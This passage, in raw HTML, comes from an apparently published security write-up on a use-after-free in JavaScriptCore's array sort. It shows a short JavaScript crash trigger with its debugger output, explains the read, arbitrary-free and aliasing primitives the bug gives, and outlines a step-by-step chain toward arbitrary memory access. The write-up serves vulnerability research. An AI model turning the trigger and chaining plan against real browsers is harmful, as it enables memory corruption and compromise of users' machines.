<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The use-after-free isn’t just a write primitive. It can also be a read primitive. By allocating any object in the freed slot, the in-progress sort will start reading elements from there instead. This makes for a fairly arbitrary information leak.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The use-after-free write was only used here to corrupt an object which is “harmless” to corrupt, i.e. there will be no side effects from corrupting an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer other than leaking information. We could instead explore the side effects accessible from corrupting any other 56 byte (or arbitrary size) object. As an example of a concrete question we could ask: what is the side effect of corrupting each and every possible 56 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> allocated object, such that the 4 bytes at offset 4 are set to the value “2” (or any other small integer)?</span></div>
</li>
</ul>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Situation #4: invalidated pointer to map leading to use-after-free read leading to arbitrary free</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var myCompFunc = function(x,y)</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a1[2] = 0x41;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buf = new ArrayBuffer(56);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> u32buf = new Uint32Array(buf);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> u32buf[2] = 0x41414141;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1 = [1,2];</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1.sort(myCompFunc);</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">On 64-bit, this leads to:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Program received signal SIGSEGV</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::JSArray::sort (...)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mov 0x10(%rax),%edx</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$rax = 0x41414141</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As you will appreciate, that’s pretty serious looking. And such a simple JavaScript file. What happened? This is in fact a pretty similar use-after-free to situation #3. It starts off identically, object sizes and all. However, instead of creating and leaving a zero filled </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer in the freed slot, we set a few of the zeros to the byte value 0x41, at offset 8. Offset 8 corresponds to the object member </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::ArrayStorage::m_sparseValueMap</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This member is loaded through a stale </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">storage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer at [5] in the C++ code. This is a use-after-free read with bad pointer dereference as the immediate side effect. The crash occurred trying to load </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">map->size()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, with map being a nonsense pointer value of 0x41414141. If we had used a valid pointer value instead, we’d maybe iterate over some map keys and then call delete on whatever the valid pointer was, at [10]. The ability to free arbitrary pointers is pretty powerful and could lead to tertiary side effects such as use-after-free like situations of more arbitrary object types.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The reliability of this attack is very high. It’s almost deterministic because the allocator behavior for handing out memory chunks is deterministic, and the attacker controls the exact order of allocations and frees from JavaScript. However, for completeness, we should note that we haven’t fully analyzed the situation with regards threading and timers. These are questions we would need to answer if trying to make a truly 100% reliable exploit:</span></div>
<b style="font-weight: normal;"><br /></b>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What happens if a timer fires right in between the free and the allocation for the use-after-free? Are there situations where running JavaScript can get pre-empted in this critical spot? What is the process, threading and pre-emption model when multiple different tabs, windows and websites are running in the same browser?</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What about threads? Although the allocator has a per-thread cache, what if the free happens to release the last object held in a page range, and another thread triggers page reclaim right at this inopportune time?</span></div>
</li>
</ul>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Proceeding with exploitation: 64-bit</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now that we’ve enumerated various different use-after-invalidation possibilities, it’s time to consider chaining some of them together to try and get a reliable exploit working. We will start with 64-bit just because.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The number of different side effects we have to play with, as partially enumerated above, is large and possibly even a little overwhelming. If we consider secondary and tertiary etc. side effects that are possible, we’re into a blossoming tree of weird machine explorations! As always, though, one key to reliable exploitation is to try and keep things as simple as possible. So we’re going to try and rewire objects to get to a stage where we can cleanly read and write arbitrary locations in the virtual address space. The typical way of doing this is to gain control of a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object or </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, etc.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">After a bit of consideration, we’re going to do this by:</span></div>
<b style="font-weight: normal;"><br /></b>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Using our information leak primitive to learn where a buffer of a given size is.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Use our arbitrary free primitive on that buffer of the given size.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Immediately allocate a new object of the given size, to go into the freed slot.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If necessary, repeat 2 and 3 one more time, to locate two arbitrary types of object at the same address. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now, we have a nice aliasing situation where live pointers exist to two different object types.</span></div>
</li>
</ol>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">By chaining together the primitives we already have, we’ve gained a new powerful primitive: arbitrary object aliasing!</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But before we can get all excited and use this primitive, we need to resolve an important issue: going back to primitive #2 above, the ability to leak the address of an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, we see that it crashed on 64-bits :( Why is this? The answer is in the way JavaScriptCore internally represents JavaScript values. They are 8 byte values on both 32-bit and 64-bit, and can variously represent JavaScript numbers (doubles), boolean values, undefined values, null values and also arbitrary JavaScript objects. The way these different types are encoded differs between 32-bit and 64-bit, hence the difference in behavior. Of interest is when an 8 byte value is considered a JavaScript object -- termed a cell -- instead of a simple type like a number. Extracted and summarized from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSValueInlineMethods.h</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#if USE(JSVALUE32_64)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">// (This is the 32 bits case)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> inline bool JSValue::isCell() const</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return tag() == CellTag;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#else</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">// (This is the 64 bits case)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> inline bool JSValue::isCell() const</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return !(u.asInt64 & TagMask);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Where </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tag()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> returns the latter 4 bytes of the value, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">CellTag==0xfffffffb</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">TagMask==0xffff000000000002</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Decoding all of this, the format of a cell pointer on 32-bit will be the actual 32-bit cell pointer followed by 0xfffffffb. On 64-bit, it will simply be the actual raw pointer itself (the tag mask selects for x86_64 style 48-bit pointers, with a partial alignment constraint). Aha! So this means that on 64-bit, as we’re trying to use and leak our real pointer to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, it will get interpreted as a JavaScript cell pointer and obviously that is not going to end well. On 32-bit, any pointer value we want to leak will work fine unless it is followed in memory by the 4 byte value 0xfffffffb. Looking at the full </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> structure:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct ArrayStorage {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned m_length; // The "length" property on the array</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned m_numValuesInVector;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> SparseArrayValueMap* m_sparseValueMap;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> void* subclassData; // A JSArray subclass can use this to fill the vector</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
